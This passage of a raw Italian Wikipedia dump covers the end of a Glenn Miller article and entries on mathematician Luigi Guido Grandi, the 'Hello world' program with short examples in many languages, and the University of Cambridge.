(2017), curato da Dennis M. Spragg, consulente del \"Glenn Miller Archives\" e dell'\"American Music Research Center\" dell'Universit\u00e0 del Colorado a Boulder.\nLo stile.\nLo stile di Glenn Miller si identifica per l'uso di formazioni con corpose sezioni di ottoni, fino a 4 trombe e 4 tromboni, per l'uso del clarinetto al posto del sax contralto nella sezione delle ance e per i suoni molto morbidi e le melodie estremamente orecchiabili. La maggiore novit\u00e0 dell'orchestra Miller fu in effetti il suono e l'invenzione di brani d'atmosfera ma comunque ballabili a tempo molto moderato: svetta su tuttisu tutti \"Moonlight Serenade\". La sezione ance con il clarinetto e gli ottoni con sordina gli permettevano un suono pi\u00f9 vellutato, meno aggressivo, adatto ad un pubblico pi\u00f9 eterogeneo e bianco.\nLa sua disciplina nelle varie sezioni di lavoro era proverbiale; per questa ragione i virtuosi raramente rimanevano a lungo nella formazionepreferendo passare ad altre che lasciassero maggior spazio creativo. Ritmicamente la composizione di Miller si avvaleva di uno swing fortemente cadenzato: sinuose ballad o ritmi pi\u00f9 ballabili.\nCuriosit\u00e0.\nLa musica di Glenn Miller \u00e8 stata usata in molti film e telefilm (come \"Lost\") e pertanto \u00e8 rimasta familiare anche alle generazioni successive.\nNel 1953 anche la sua vita venne portata sullo schermo. Nel film \"La storia di Glenn Miller\" diretta da un ottimo professionista quale fu Anthony Mann e con James Stewart ad impersonarlo. Nel film appaiono anche Louis Armstrong e Gene Krupa nella parte di loro stessi. \nNel 1976 l'LP \"Seine 20 gr\u00f6ssten Hits\" per la Arcade arriva in terza posizione in Austria ed in quinta in Germania Ovest, nel 1995 \"The Lost Recordings\" arriva in quarta posizione in Austria e nel 2004 \"Glenn Miller's 100th Birthday\" arriva in sesta posizione in Austria.\nNel 1989 il gruppo inglese dei \"Jive Bunny And The Mastermixers\", in un brano di musica pop dal titolo \"Swing the Mood\", campion\u00f2 fra le varie canzoni il brano In The Mood di Miller in una sorta di collage musicale. Precedentemente, anche i Beatles inserirono un inserto del noto brano in All You Need Is Love (1967).\nIn onore di Glenn Miller, l'11 settembre 1996 gli Stati Uniti emisero un francobollo commemorativo da 32 cents. Il francobollo faceva parte una serie dedicata ai grandi direttori di big band, che comprendeva anche Count Basie, Tommy &amp; Jimmy Dorsey, Benny Goodman."}
{"id": "26679", "revid": "830939", "url": "https://it.wikipedia.org/wiki?curid=26679", "title": "Luigi Guido Grandi", "text": "Biografia.\nNato a Cremona da Caterina Legati e Piero Martire Grandi, ricamatore, comp\u00ec i suoi primi studi di grammatica sotto la guida del giovane letterato Giambattista Canneti e poi nel locale Collegio dei Gesuiti, dove ebbe come maestro il futuro matematico Giovanni Girolamo Saccheri. All'et\u00e0 di 16 anni entr\u00f2 nel monastero camaldolese di Classe in Ravenna, assumendo il nome Guido in sostituzione degli originari Francesco Lodovico, e qui ritrov\u00f2 l'antico maestro divenuto abate Pietro Canneti.\nProseguiti gli studi teologici a Roma e quelli geometrici e matematici a Firenze, nel 1700 divenne professore di filosofia nel monastero camaldolese di Firenze. Nel 1703 pubblic\u00f2 il libro \"La quadratura del cerchio e dell'iperbole\", al cui interno scopr\u00ec lo stesso paradosso matematico intuito anche da Leibniz, ossia che la somma parziale di una serie a segni alterni di numeri pu\u00f2 non convergere (serie di Grandi), e qualche anno dopo, durante una sua visita in Inghilterra (1709), entr\u00f2 a far parte della Royal Society.\nNel 1714 divenne matematico di corte presso il granduca di Toscana e pi\u00f9 tardi professore di matematica nell'Universit\u00e0 di Pisa. Fu anche sovrintendente alle acque del granducato, contribuendo ai lavori di drenaggio per la bonifica della Val di Chiana. Collabor\u00f2 con Tommaso Buonaventuri all'edizione fiorentina delle \"Opere di Gaileo Galilei\" (1718), studi\u00f2 la curva algebrica da lui chiamata \"rodonea\" per la forma che ricorda il rosone delle chiese romaniche e gotiche (1725 circa) e fu autore degli \"Elementi di Geometria di Euclide\", pubblicati postumi a Venezia (Savioni, 1780).\nFu il primo a usare e a diffondere in Italia la nuova \"analisi degli infiniti\". Scrisse l'opera \"De infinitis infinitorum...\" nella quale applic\u00f2, tra i primi in Italia, i metodi di Leibniz e Newton."}
{"id": "26683", "revid": "2220701", "url": "https://it.wikipedia.org/wiki?curid=26683", "title": "Hello world", "text": "In informatica Hello world! (in italiano \"\"Ciao mondo!\") \u00e8 un semplice programma dimostrativo, frequentemente utilizzato nella didattica di base, che produce come risultato - output - la scritta \"Hello world!\"\" o altre varianti, sfruttando i cosiddetti canali standard (standard output). Il programma non fa altro dunque che far comparire a schermo questa scritta e, per tradizione, diversi manuali di programmazione lo citano spesso per mostrarlo come primo esempio di lessico, sintassi e semantica basilare di un certo linguaggio di programmazione.\nStoria.\nLa scritta viene stampata a video dal primo programma di esempio scritto in C all'inizio del libro \"Il linguaggio C\" degli informatici Brian Kernighan e Dennis Ritchie. La versione corrente non \u00e8 quella originale: all'inizio il testo era semplicemente \"hello, world\", senza maiuscola e punto esclamativo, che sono entrati nella tradizione solo in seguito.\nIl codice originale era questo:\nint main(void){\n printf(\"hello, world\\n\");\n return 0;\nSecondo un'ulteriore versione, molto controversa, il primo \"Hello, world!\" noto fu scritto diverso tempo prima in linguaggio BCPL.\nEsempi.\nBASIC.\n10 PRINT \"Hello, World!\"\n20 END\nBatch.\n@echo off\necho Hello World!\nexit\nC.\nint main(void) {\n printf(\"Hello World!\");\n return 0;\nC++.\nusing namespace std;\nint main() \n cout \u00ab \"Hello World!\" \u00ab endl;\nC#.\nusing System;\nclass App\n static void Main()\n Console.WriteLine(\"Hello World!\");\nGo.\npackage main\nimport \"fmt\"\nfunc main() {\n fmt.Println(\"Hello World!\")\nHaskell.\nmain :: IO ()\nmain = putStrLn \"Hello World!\"\nJava.\nclass HelloWorld {\n public static void main(String[] args) {\n System.out.println(\"Hello World!\")\nJavaScript.\nconsole.log(\"Hello World!\");\nLua.\nprint(\"Hello World!\")\nObjective C.\nint main(int argc, const char * argv[]) {\n @mylak {\n NSLog(@\"Hello World!\");\n return 0;\nPascal.\nprogram Hello;\nbegin\n writeln ('Hello World!')\nend.\nPHP.\n&lt;?php\necho \"Hello World!\";\nPowershell.\nWrite-Host 'Hello World!'\nPython.\nprint(\"Hello World!\")\nRuby.\nputs\"Hello World!\"\nSwift.\nprint(\"Hello, World!\")"}
{"id": "26685", "revid": "125397690", "url": "https://it.wikipedia.org/wiki?curid=26685", "title": "Universit\u00e0 di Cambridge", "text": "LUniversit\u00e0 di Cambridge, in inglese: \"University of Cambridge,\" \u00e8 la seconda universit\u00e0 del Regno Unito per data di fondazione. Situata nell'omonima citt\u00e0 dell'Anglia orientale, essa ospita quasi studenti e pi\u00f9 di fra ricercatori e docenti. Secondo la leggenda venne fondata da alcuni studenti nel 1209, dopo essere fuggiti da Oxford in seguito ad una lite coi locali. Tradizionalmente fra le due istituzioni \u2013 collettivamente conosciute con l'espressione \"Oxbridge\" \u2013 esiste una forte rivalit\u00e0 accademica e non solo, come testimoniato dalla Regata Oxford-Cambridge.\nStoria.\nFondazione.\nSi narra che le origini dell'universit\u00e0 derivino da una condanna a morte preparata verso due studenti ad Oxford per l'omicidio di una donna nel 1209, apparentemente con l'assenso di re Giovanni d'Inghilterra. Ci\u00f2 avrebbe causato proteste da parte del corpo studentesco, portando alla sospensione delle attivit\u00e0 didattiche, e creato un forte attrito con i residenti locali. In molti furono indotti a lasciare la citt\u00e0, divenuta ostile, per recarsi altrove, come a Reading o a Parigi. Anche Cambridge fu una delle mete prescelte, dato che esisteva gi\u00e0 un'istituzione di studi superiori, nonostante non fosse riconosciuta come universit\u00e0: status, questo, rilasciato ufficialmente nel 1231 da re Enrico III d'Inghilterra, insieme ad alcune sovvenzioni statali ed esenzioni dalle tasse. \nLa sua intenzione era di regolamentare la vita nella piccola citt\u00e0, punendo comportamenti irresponsabili dei giovani, ma allo stesso tempo garantendone la protezione verso canoni di affitto esagerati. Una bolla pontificia di papa Gregorio IX diede il permesso ai laureati di Cambridge di insegnare in qualunque Paese cristiano. Nel 1290 venne assegnato a Cambridge lo statuto di \"studium generale\" da papa Niccol\u00f2 IV e divenne cos\u00ec frequente il transito di docenti di varie istituzioni europee presso l'universit\u00e0 britannica per dare lezioni magistrali.\nTown and gown.\nPer differenziare gli abitanti locali dai membri dell'ateneo si adopera la dizione \"Town and gown\" (citt\u00e0 e toga). Storie di rivalit\u00e0 si riscontrano fin dagli albori: nel 1381 vi furono forti scontri che portarono ad attacchi e saccheggi di diverse propriet\u00e0 universitarie. A seguito di questi eventi, vennero dati poteri straordinari al Cancelliere, come il permesso di perseguire i criminali e la possibilit\u00e0 di assicurare l'ordine nella citt\u00e0, ad esempio nella concessione delle licenze. Vari tentativi di conciliazione si susseguirono: nel XVI secolo vennero firmati vari accordi fra le due parti, migliorando la qualit\u00e0 delle strade e degli alloggi. Gli episodi di peste intorno al 1630 furono per\u00f2 fonte di nuove divisioni: per evitare l'esodo degli studenti, molti collegi si fortificarono lasciando fuori i bisognosi.\nLa nascita dei collegi.\nI collegi sono stati fondati solo successivamente alla nascita dell'universit\u00e0 soprattutto grazie alle donazioni di ex-studenti o professori; inizialmente esisteva anche un diverso tipo d'istituto, l'ostello, che era invece sostenuto finanziariamente dagli stessi allievi che vi vivevano. Gli ostelli sono stati gradualmente riassorbiti dai vari collegi, tanto che molte costruzioni in diverse zone della citt\u00e0 riportano ancora gli antichi nomi di questi alloggi.\nIl primo collegio, il Peterhouse, fu fondato nel 1284. In molti seguirono nei secoli successivi, anche se vi fu un lasso di 204 anni fra il Sidney Sussex (1596) e il Downing College (1800). L'ultimo in ordine temporale \u00e8 il Robinson, aperto dal 1970, anche se l'Homerton ha raggiunto lo statuto ordinario solo dal marzo 2010 (prima era solo una \"societ\u00e0 approvata\").\nIn tempi medievali la motivazione che portava all'edificazione dei collegi era di permettere agli studenti di pregare per l'anima dei fondatori: per questo erano spesso affiliati a chiese e parrocchie. Con la dissoluzione dei monasteri in Inghilterra (1536) ci fu un cambiamento del curriculum dallo scolasticismo verso uno studio pi\u00f9 incentrato sulla Bibbia, il classicismo e la matematica. Concomitante alla riforma protestante, Cambridge si allontan\u00f2 anche dal cattolicesimo e molti dei suoi intellettuali iniziarono ad apprezzare le idee del luteranesimo.\nQuasi un secolo dopo, l'universit\u00e0 fu al centro di un altro scisma religioso: molti dei nobili ed intellettuali ritenevano la chiesa anglicana troppo vicina a quella cattolica ed utilizzata come pretesto dalla famiglia reale per usurpare i poteri locali. L'Anglia orientale divenne cos\u00ec il centro del movimento puritano e Cambridge produsse molti pensatori che influenzarono od andarono direttamente a formare la colonia di Massachusetts Bay nel 1630, anno del fenomeno della grande migrazione di fedeli puritani.\nMatematica applicata e fisica.\nDal XVII secolo l'universit\u00e0 inizi\u00f2 a focalizzarsi verso gli studi scientifici, in particolare la matematica e la fisica. Lo studio di queste materie fu reso obbligatorio per la laurea, e veniva richiesto ad ogni studente di affrontare l'esame per il \"Bachelor of Arts\", il primo tipo di laurea a Cambridge che unisse argomenti scientifici ed artistici. L'esame divenne poi noto con il nome tuttora in uso di Tripos. Il Tripos matematico di Cambridge divenne presto il pi\u00f9 prestigioso fra i corsi offerti, e sforn\u00f2 scienziati come James Clerk Maxwell, Lord Kelvin e Lord Rayleigh. Nel corso del XIX secolo fu duramente criticata per la scelta di non insegnare la ormai affermata algebra dei gruppi.\nXIX e XX secolo.\nDopo il \"Cambridge University Act\" del 1856, con il quale si formalizz\u00f2 la struttura d'organizzazione dell'ateneo, venne introdotto lo studio di altre materie come diritto, storia, teologia e lingue moderne. Le risorse necessarie per lo studio di arte, architettura ed archeologia furono generosamente donate da Richard Fitzwilliam (Trinity College), a sua volta erede di una grande fortuna. Fra il 1896 e il 1902, il Downing College vendette una porzione dei suoi terreni, permettendo l'erezione del \"Downing Site\", con nuovi laboratori scientifici e dipartimenti come quelli di anatomia, genetica e scienze della Terra. Negli stessi anni fu creato il \"New Museums Site\", comprendente il laboratorio Cavendish per la fisica e altri fabbricati per la chimica e la medicina.\nL'insegnamento fu duramente colpito dagli avvenimenti della prima guerra mondiale che vide la partecipazione di quasi membri dell'universit\u00e0 e la morte di di essi. Di conseguenza, aiuti finanziari da parte dello Stato cominciarono a fluire nelle casse dell'istituzione, ma non dei collegi. Il periodo seguente alla seconda guerra mondiale vide una rapida espansione sia nel numero di studenti che negli spazi disponibili per l'insegnamento; l'aumento della popolarit\u00e0 fu dovuto anche alla fama raggiunta da molti degli scienziati legati a Cambridge.\nIstruzione femminile.\nInizialmente, erano ammessi all'universit\u00e0 solo alunni di sesso maschile. I primi collegi solo per donne furono il Girton College, fondato nel 1869, seguito nel 1872 dal Newnham College. La prima volta in cui le donne furono ammesse agli esami fu nel 1882, ma i tentativi di rendere le studentesse membri ufficiali dell'universit\u00e0 fallirono fino al 1947. Cambridge non concesse diplomi di laurea alle donne fino al 1921, sebbene fosse loro consentito di seguire le lezioni e sostenere gli esami, con il risultato che venivano rilasciati diplomi secondari oppure sotto il nome di altre istituzioni di studio.\nDato che tutti gli studenti devono essere membri di un college e i collegi pi\u00f9 antichi rimanevano aperti solo agli uomini, dopo la seconda guerra mondiale vi fu un rapido sviluppo dei collegi femminili; nel 1972 il Churchill College fu il primo ad ammettere studenti di ambedue i sessi. Infine, nel 1988 tutti i collegi pi\u00f9 tradizionali furono aperti anche alle donne; tuttavia rimangono collegi dedicati solamente alle donne, registrando dunque un'inversione del fenomeno. Dopo l'apertura agli uomini del St Hilda's College di Oxford nel 2008, Cambridge \u00e8 l'unica universit\u00e0 del Regno Unito avente un numero di collegi che rifiutano l'ammissione degli studenti di sesso maschile.\nTradizioni, miti e leggende.\nPer via della lunga storia della universit\u00e0, sono nati numerosi miti, leggende e tradizioni tramandate per generazioni. Una di queste tradizioni \u00e8 il cucchiaio di legno (\"Wooden Spoon\"), un \"premio\" assegnato fino al 1909 a colui che riceveva il voto pi\u00f9 basso, che non fosse una bocciatura, nel Tripos di matematica. Dopo tale data, i risultati di questo Tripos vennero pubblicati non pi\u00f9 in ordine di merito ma in ordine alfabetico secondo le varie classi, per cui questa pratica perdette senso e venne abbandonata. Uno degli avvenimenti pi\u00f9 noti \u00e8 il tradizionale concerto di Natale, che si svolge annualmente la sera della vigilia e viene trasmesso in diretta nel Regno Unito dalla BBC, sia per radio che per televisione. L'evento si tiene nella cappella del King's College ad opera del coro, che \u00e8 costituito da studenti del collegio stesso.\nUna leggenda vuole che il \"ponte matematico\" (\"Mathematical bridge\"), costruito da Newton, fosse inizialmente assemblato senza viti, utilizzando solo l'ausilio di un corretto bilanciamento delle forze fisiche. Quando alcuni professori negli anni successivi decisero di esaminare il ponte, non riuscirono pi\u00f9 a riassemblarlo, e si trovarono dunque a dovervi applicare numerose viti.\nUn mito riguardante la ricchezza del Trinity College spiega come sia possibile camminare lungo la strada fra Cambridge ed Oxford soltanto su terreni di propriet\u00e0 del collegio stesso.\nStrutture.\nL'Universit\u00e0 occupa una posizione centrale all'interno della piccola citt\u00e0 di Cambridge con la popolazione studentesca che ammonta a circa il 20% di quella totale. I collegi pi\u00f9 antichi sono situati nel centro della citt\u00e0, dove scorre anche il fiume Cam.\nL'istituzione si sviluppa in diversi siti sparsi per la citt\u00e0. I principali sono:\nL'ospedale di Addenbrooke's, situato poco fuori dal centro, ospita anche la \"School of Clinical Medicine\". Il West Cambridge Site \u00e8 un luogo in espansione dell'universit\u00e0: situato nella zona ovest della citt\u00e0, ospita i dipartimenti pi\u00f9 moderni come il Laboratorio Cavendish e ha diversi piani di ampliamento per sostituire altre facolt\u00e0 e costruire nuovi campi sportivi.\n\"The Cambridge Phenomenon\" \u00e8 l'area in cui si sono create e sviluppate numerose aziende tecnologiche, biotecnologiche e di servizi correlate alla presenza dell'universit\u00e0.\nScuole, facolt\u00e0 e dipartimenti.\nIn aggiunta ai trentuno collegi, l'universit\u00e0 \u00e8 costituita da pi\u00f9 di centocinquanta fra dipartimenti, scuole, sindacati ed altri istituzioni. Una \"scuola\", sei in totale a Cambridge, viene definita come un grande gruppo amministrativo che ha la responsabilit\u00e0 delle relazioni fra le facolt\u00e0, supervisionata da un \"consiglio\":\nCollegi.\nTutti gli studenti e la maggior parte del personale accademico sono affiliati ad un collegio. Agli studenti viene fornito vitto ed alloggio, nonch\u00e9 accesso alla biblioteca del collegio. Qui vengono in genere organizzate le \"supervisions\". Ogni college possiede una \"sala grande\", un luogo di socializzazione dove vengono serviti giornalmente i pasti e dove avvengono le cerimonie ufficiali e le cene formali. Fra i diversi collegi, essendo indipendenti, alcuni di essi tendono a specializzarsi con una propensione per particolari materie: \u00e8 il caso del Churchill che dichiara di focalizzarsi verso le scienze e l'ingegneria.\nI college sono trentuno, tre dei quali ammettono solo donne, due solo studenti gi\u00e0 laureati (\"graduate students\"), e altri quattro solo studenti che abbiano compiuto ventun anni:\n\u2020solo per studenti postgraduate\n\u2021solo per \"mature students\" (pi\u00f9 di 21 anni)\nSei ulteriori collegi, il \"Westcott House\" (anglicano), il \"Westminster College\" (riformato), il \"Ridley Hall\" (anglicano), il \"Margaret Beaufort\" (cattolico romano), il \"IOCS\" (ortodosso), ed il \"Wesley House\" (metodista) sono membri della \"Cambridge Theological Federation;\" risultando associati all'universit\u00e0, i loro allievi hanno diritto a ricevere l'insegnamento e il diploma di laurea in teologia.\nAll'interno del collegio vi sono varie figure. Il capo \u00e8 in genere indicato come \"Master\"; il \"Senior Tutor\" si occupa, insieme al \"Dean\", della disciplina e di assicurarsi che l'insegnamento proceda regolarmente; il \"Tutor\" \u00e8 una figura di supporto non accademico e pu\u00f2 fare da mediatore nei rapporti fra gli studenti e le autorit\u00e0 universitarie; il \"Director of Studies\" (DoS) si occupa invece del supporto allo studente nel campo accademico, organizzando le lezioni e fornendo resoconti sul progresso degli studi; il \"Porter\" controlla l'accesso al collegio, verificando che solo i suoi membri possano entrare quando il college \u00e8 chiuso ai visitatori; le \"Bedder\" si occupano di pulire le stanze e le aree comuni; il \"Bursar\" amministra le finanze; il \"Chaplain\" dirige le funzioni religiose legate alla chiesa all'interno del collegio e fornisce supporto pastorale; il \"Praelector\" \u00e8 responsabile di mantenere il registro dei membri del collegio e presentare gli studenti alla cerimonia di laurea; infine, il \"Fellow\" \u00e8 un membro del corpo docente che, oltre a beneficiare di fondi per la ricerca all'interno del dipartimento in cui opera, riceve un regolare stipendio dal collegio per l'istruzione degli studenti.\nBiblioteche e musei.\nL'universit\u00e0 possiede pi\u00f9 di cento biblioteche e numerosi musei. La biblioteca centrale \u00e8 la Cambridge University Library: essendo un deposito legale conserva tutti i libri pubblicati nel Regno Unito. Molti dipartimenti possiedono biblioteche specializzate. Ogni collegio ha una propria biblioteca privata e alcune conservano al loro interno manoscritti antichi e preziosi, come la \"Parker Library\" del Corpus Christi College che possiede una collezione di libri risalenti all'inizio del Medioevo.\nIl museo Fitzwilliam espone opere di artisti come Tiziano, William Blake e Alfred Sisley. L'universit\u00e0 \u00e8 anche provvista di un giardino botanico, aperto nel 1846.\nL'universit\u00e0 possiede inoltre la Cambridge University Press, una delle case editrici pi\u00f9 antiche.\nAltre collezioni degne di nota sono:\nVita studentesca.\nUnione studenti.\nLa \"Cambridge University Students' Union\" (CUSU), fondata nel 1964 con il nome di \"Student Representative Council\" (SRC), rappresenta tutti gli studenti dell'universit\u00e0, iscritti d'ufficio all'associazione. Essa \u00e8 controllata da sei o sette membri che si dedicano a tempo pieno della Union. Si occupa del rapporto fra gli studenti e l'organizzazione centrale, promuovendo riforme e dialogando con il vice-cancelliere e la Senate House; programma anche vari eventi sociali durante l'anno accademico.\nSocieties.\nA Cambridge esistono molti piccoli gruppi, definiti \"Societies\", che raccolgono gli studenti interessati a particolari ambiti, ad esempio vi sono societ\u00e0 che uniscono studenti provenienti da una particolare nazione. Le \"societies,\" non ricevendo finanziamenti dall'universit\u00e0, debbono autofinanziarsi o chiedere aiuto alla \"Students' Union\".\nSport.\nCambridge mantiene una lunga tradizione negli sport. Il pi\u00f9 popolare \u00e8 il canottaggio, data la vicinanza del fiume Cam: caratteristiche sono le \"bumps\", particolari gare fra gli equipaggi dei diversi collegi dove una serie di imbarcazioni partono a distanza ravvicinata per rincorrersi lungo il percorso. L'obiettivo \u00e8 riuscire a toccare (\"bump\") l'avversario di fronte: chi ha successo nell'impresa pu\u00f2 partire dalla posizione superiore il giorno successivo e cos\u00ec via fino a raggiungere la \"Head of the River\" (testa della corsa). Annualmente si tiene la regata Oxford-Cambridge (\"The Boat Race\") dove, lungo il Tamigi, gareggiano i due equipaggi migliori delle due istituzioni.\nAltro importante evento sportivo \u00e8 il Varsity Match di rugby union che dal 1872 vede contrapposte le universit\u00e0 di Cambridge e Oxford a Twickenham. Molto seguito \u00e8 anche il The University Match di cricket. Per gli altri sport esistono i \"Varsity Matches\", tenuti sempre contro la rivale Oxford.\nGli atleti che competono in alcuni sport possono richiedere l'assegnazione del \"Cambridge Blue\", che prende il nome dal colore ufficiale delle squadre universitarie: l'attribuzione del premio \u00e8 a discrezione di un comitato, l\"Hawks' Club\", e va solo a chi si \u00e8 distinto particolarmente sul campo.\nRadio, giornali, musica e teatro.\nGli studenti hanno fondato, insieme ai colleghi della Anglia Ruskin University, una stazione radio, denominata \"Cam FM\". La scena musicale e teatrale \u00e8 molto sviluppata, vi sono infatti: produzioni studentesche come quelle dei Footlights, gruppi quali la \"Cambridge University Musical Society\" e quattro orchestre con direttori professionisti. I tre principali giornali universitari sono: il \"Varsity\", fondato nel 1947, il \"The Cambridge Student\" (TCS), suo rivale pi\u00f9 giovane e il \"The Tab\", pubblicato dal 2009 e avente un tono pi\u00f9 umoristico.\nFormal Halls e May Balls.\nI collegi offrono eventi ufficiali durante l'anno come cene e balli di fine trimestre. La \"Formal Hall\" si tiene a cadenza regolare durante il term e consiste in una cena formale nella sala grande del collegio. Per l'occasione vengono sfoggiati vestiti accademici sopra un abito da sera o uno smoking. I \"Fellows\" siedono ad un tavolo rialzato (\"high table\") dopo aver pronunciato una preghiera in latino e la cena viene poi servita. In occasione di feste come il Natale il menu \u00e8 pi\u00f9 ricco e la cerimonia pi\u00f9 stravagante.\nDopo il periodo di esami si tiene il \"May Week\". Sono organizzati dei balli, denominati May Ball, che durano tutta la notte e nei quali vengono offerte varie forme di intrattenimento musicale, fuochi d'artificio, cibo e bevande. La domenica di quella settimana prende il nome di \"Suicide Sunday\", ed \u00e8 la data preferita per organizzare i \"Garden Party\", buffet all'aperto nei giardini del collegio.\nStruttura accademica.\nTutti i corsi di livello \"undergraduate\", chiamati Tripos, portano all'ottenimento di un \"Bachelor of Arts\", o BA Hons. (Cantab), dopo tre anni di studi. Ogni Tripos \u00e8 diviso in diverse parti (\"Parts\") che corrispondono agli anni di studio; \u00e8 possibile combinare Parts fra Tripos diversi, ma \u00e8 necessario completarne un certo numero per poter arrivare alla laurea. Di solito gli studenti completano tutte le parti di ogni Tripos. Alcuni corsi, come ingegneria e scienze naturali, offrono un quarto anno, al termine del quale si ottiene un Master.\nUn'altra particolare condizione richiesta agli studenti \u00e8 quella di \"keeping terms\", ovverosia essere fisicamente presenti nella citt\u00e0 di Cambridge, entro un raggio di 10 miglia dalla \"Church of St Mary the Great\", per l'intera durata dei tre Full Term annuali: questo requisito, previsto dallo statuto dell'universit\u00e0, va rispettato per almeno nove trimestri (dodici nel caso della laurea a livello Master).\nPer convenzione, chi possiede un BA assegnato da Cambridge ha automaticamente diritto di ricevere un \"Master of Arts\" (MA), una laurea di livello superiore nel Regno Unito, dopo sei anni dalla data di registrazione all'universit\u00e0. Esso viene conferito senza aver bisogno di sottoporsi ad alcuna prova d'esame.\nEsistono infine programmi di scambio che permettono a chi gi\u00e0 possieda un diploma da un'universit\u00e0 affiliata a Cambridge di ottenere un BA in soli due anni: chi prende parte a questa opportunit\u00e0 \u00e8 definito un \"Affiliated student\". Cambridge ha anche una forte collaborazione con il Massachusetts Institute of Technology (MIT) dal 2000, grazie alla quale riesce a godere di scambi studenteschi della durata di un anno fra i due istituti.\nAnno accademico.\nL'anno accademico \u00e8 diviso in tre trimestri (o \"term\"), determinati dallo Statuto dell'universit\u00e0. Il \"Michaelmas Term\" (parola macedonia da San Michele e Natale) si svolge tra ottobre e dicembre; il \"Lent Term\" (da quaresima) cade tra gennaio e marzo; ed infine l\"Easter Term\" (dalla Pasqua) si svolge da aprile a giugno. All'interno di questi term ci sono i cosiddetti \"Full Term\" (trimestre completo) che hanno la durata di otto settimane. \u00c8 all'interno di questi periodi che avviene l'insegnamento, e gli studenti sono obbligati a vivere nel loro collegio per l'intera durata. I trimestri sono considerevolmente pi\u00f9 brevi rispetto alle altre universit\u00e0 britanniche. L'anno accademico prende il via da ottobre, e fra le ultime settimane di maggio ed inizio giugno vengono organizzate la maggior parte delle prove di esame.\nMetodi di insegnamento.\nIl principale strumento di insegnamento sono le \"supervisions\", sessioni di studio della durata di un'ora in piccoli gruppi di ragazzi sotto la supervisione di un professore o uno studente che sta eseguendo un dottorato di ricerca (PhD). Questo sistema \u00e8 una peculiarit\u00e0 che differenzia Cambridge da enti analoghi. I laureandi devono in genere completare del lavoro assegnatogli, che verr\u00e0 discusso durante l'ora di gruppo, insieme a qualunque altro problema o domanda su ci\u00f2 che \u00e8 stato proposto alle lezioni magistrali. Queste ultime servono in genere solo a presentare il materiale di base all'interno del programma di studi, e devono necessariamente essere integrate con la lettura supplementare dei libri di testo o il completamento degli esercizi da parte dello studente. Il numero di supervisions settimanali varia a seconda delle diverse materie; quelle scientifiche prevedono anche un certo numero di ore di laboratorio obbligatorie.\nRicerca.\nL'universit\u00e0 possiede diversi laboratori ed ambienti di ricerca nei suoi vari dipartimenti. Cambridge \u00e8 uno dei membri del Russell Group che riunisce le universit\u00e0 britanniche pi\u00f9 all'avanguardia nella ricerca, nonch\u00e9 del gruppo di Coimbra. \u00c8 considerata facente parte del Golden Triangle, un'area di grande concentrazione di prestigiosi istituti di studio superiore all'interno del Regno Unito, e di varie alleanze internazionali come l'International Alliance of Research Universities e la League of European Research Universities. Nel 2009, i gruppi di ricerca hanno attirato 266.9 milioni di sterline in donazioni: molti provengono da consigli nazionali di ricerca e da associazioni di beneficenza.\nI dottorandi lavorano in genere verso l'ottenimento del PhD, che \u00e8 offerto da tutti i dipartimenti. Essi fanno parte di uno specifico gruppo entro il quale sono invitati a lavorare indipendentemente per sviluppare nuove teorie o esperimenti. Il completamento del ciclo di studi richiede almeno tre anni, nel corso dei quali gli allievi sono invitati a partecipare attivamente alla vita accademica e sociale del loro dipartimento, aiutando i giovani studenti nelle \"supervision\" e offrendo presentazioni e resoconti sul progresso del loro lavoro.\nProcesso di ammissione.\nIl colloquio \u00e8 uno dei fattori determinanti per l'ammissione: a coloro che supereranno la prova, verr\u00e0 fatta un'offerta condizionata al raggiungimento di specifici voti agli A-Level britannici. Vengono accettate anche molte qualifiche internazionali, come il Baccellierato Internazionale o quello europeo.\nPer assicurarsi l'ingresso dei migliori studenti esiste la \"Winter Pool\": attraverso questo sistema buoni candidati che abbiano subito una forte competizione nel collegio prescelto vengono raccomandati a quei collegi che hanno invece registrato poche domande per una particolare materia.\nCerimonia di laurea.\nLa cerimonia con cui si conferiscono i diplomi di laurea ha una lunga tradizione; la celebrazione, denominata \"general admission\" \u00e8 definita come una \"congregation\": tutti i membri della Regent House hanno diritto a prendervi parte e a votare, come in qualunque altro atto formale. \u00c8 perci\u00f2 nel loro potere obiettare in qualunque momento della funzione al conferimento della laurea ad un particolare studente.\nDurante la cerimonia, ogni studente \u00e8 tenuto a vestirsi secondo canoni ben precisi. La toga indossata dal candidato varia in base al titolo accademico ed alla sua et\u00e0 (se maggiore o minore di 24 anni). La presenza e/o l'assenza degli \"strings\" nella toga indossata dagli studenti graduati indica se questi hanno ricevuto, o no, il loro B.A. all'Universit\u00e0 di Cambridge.\nI candidati sono presentati alla congregazione dal \"praelector\" del proprio college tenendogli la mano destra. La cerimonia prevede la recita della tradizionale formula latina. Lo studente si inginocchia di fronte al vicecancelliere dell'universit\u00e0 (o a chi ne fa le veci), che gli stringe le mani mentre recita la frase con cui determina l'ammissione alla laurea, benedicendolo. Il neolaureato poi esce dalla Senate House per ritirare il diploma. Studenti dai diversi collegi vengono presentati in un ordine specifico, con i tre \"Royal Colleges\" (King's, Trinity e St. John's) che hanno la precedenza.\nEsami pubblici.\nL'universit\u00e0 \u00e8 anche responsabile della redazione di diversi esami pubblici nel Regno Unito e di varie altre prove di valutazione distribuite in tutto il mondo. Sono inclusi gli esami dell'OCR (\"Oxford, Cambridge and RSA Examinations\"), fra i quali gli A-level e i GCSE, gli esami ESOL per l'accertamento del livello di conoscenza della lingua inglese e diversi test richiesti per l'ammissione alle universit\u00e0 britanniche, come il BMAT e lo STEP. Esiste un dipartimento specifico per queste mansioni, che prende il nome \"Cambridge Assessment\" e fu fondato nel 1858 come associazione no-profit.\nFinanze.\nL'universit\u00e0 e i collegi, essendo enti pubblici, dispongono di risorse messe a disposizione dal governo britannico sotto forma di sussidi per la ricerca.\nNel 2000, Bill Gates, ha donato 210 milioni di dollari tramite la sua fondazione per istituire la \"Gates Scholarship\", che permette agli studenti di tutto il mondo di usufruire di un aiuto finanziario per intraprendere un dottorato a Cambridge.\nAmministrazione.\nL'universit\u00e0 di Cambridge \u00e8 un'istituzione collegiale: possiede un centro amministrativo di controllo di tutte le attivit\u00e0 e un numero di collegi indipendenti, ciascuno con i propri possedimenti ed introiti. La maggior parte dei collegi non \u00e8 specializzato in alcun settore e riunisce piuttosto professori, studenti e personale accademico da diverse aree di studio. Allo stesso modo, in tutti i dipartimenti dell'universit\u00e0 si trovano studenti ed insegnanti provenienti dai diversi collegi. Le diverse facolt\u00e0 sono responsabili dell'organizzazione delle lezioni, delle eventuali sessioni di laboratorio e di stilare un curriculum da seguire, sempre in accordo con il corpo governativo. Il rettore 